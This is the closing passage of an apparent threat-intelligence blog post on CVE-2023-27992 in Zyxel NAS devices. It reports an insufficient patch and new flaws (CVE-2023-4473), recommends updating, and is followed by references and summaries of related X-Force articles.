The investigation into CVE-2023-27992 started as a straightforward effort to reproduce the issue. The discovery of possible new flaws and an insufficient patch was unanticipated. These flaws may be known to the same malicious actors who were actively exploiting CVE-2023-27992, allowing access even after the devices were patched.

The nature of the new vulnerabilities will likely result in the addition of CVE-2023-4473 to the CISA KEV list and it is recommended users patch their devices with the vendor’s updated fix.

References

[1] https://www.cisa.gov/known-exploited-vulnerabilities-catalog

[2] https://nvd.nist.gov/vuln/detail/CVE-2023-27992

[3] https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-pre-authentication-command-injection-vulnerability-in-nas-products

[4] https://pypi.org/project/uncompyle6/

[5] https://docs.cherrypy.dev/

[6] https://httpd.apache.org/docs/2.4/developer/modguide.html

[7] https://nightlies.apache.org/httpd/trunk/doxygen/group__APACHE__CORE__REQ.html#ga342d354cf3541a6251d12eee6e9fe0c8

More from Threat Intelligence

Strela Stealer: Today’s invoice is tomorrow’s phish

12 min read - As of November 2024, IBM X-Force has tracked ongoing Hive0145 campaigns delivering Strela Stealer malware to victims throughout Europe - primarily Spain, Germany and Ukraine. The phishing emails used in these campaigns are real invoice notifications, which have been stolen through previously exfiltrated email credentials. Strela Stealer is designed to extract user credentials stored in Microsoft Outlook and Mozilla Thunderbird. During the past 18 months, the group tested various techniques to enhance its operation's effectiveness. Hive0145 is likely to be…

Hive0147 serving juicy Picanha with a side of Mekotio

17 min read - IBM X-Force tracks multiple threat actors operating within the flourishing Latin American (LATAM) threat landscape. X-Force has observed Hive0147 to be one of the most active threat groups operating in the region, targeting employee inboxes at scale, with a primary focus on phishing and malware distribution. After a 3-month break, Hive0147 returned in July with even larger campaign volumes, and the debut of a new malicious downloader X-Force named "Picanha,” likely under continued development, deploying the Mekotio banking trojan. Hive0147…

FYSA – Critical RCE Flaw in GNU-Linux Systems

2 min read - Summary The first of a series of blog posts has been published detailing a vulnerability in the Common Unix Printing System (CUPS), which purportedly allows attackers to gain remote access to UNIX-based systems. The vulnerability, which affects various UNIX-based operating systems, can be exploited by sending a specially crafted HTTP request to the CUPS service. Threat Topography Threat Type: Remote code execution vulnerability in CUPS service Industries Impacted: UNIX-based systems across various industries, including but not limited to, finance, healthcare,…

Topic updates

Get email updates and stay ahead of the latest threats to the security landscape, thought leadership and research.
Subscribe today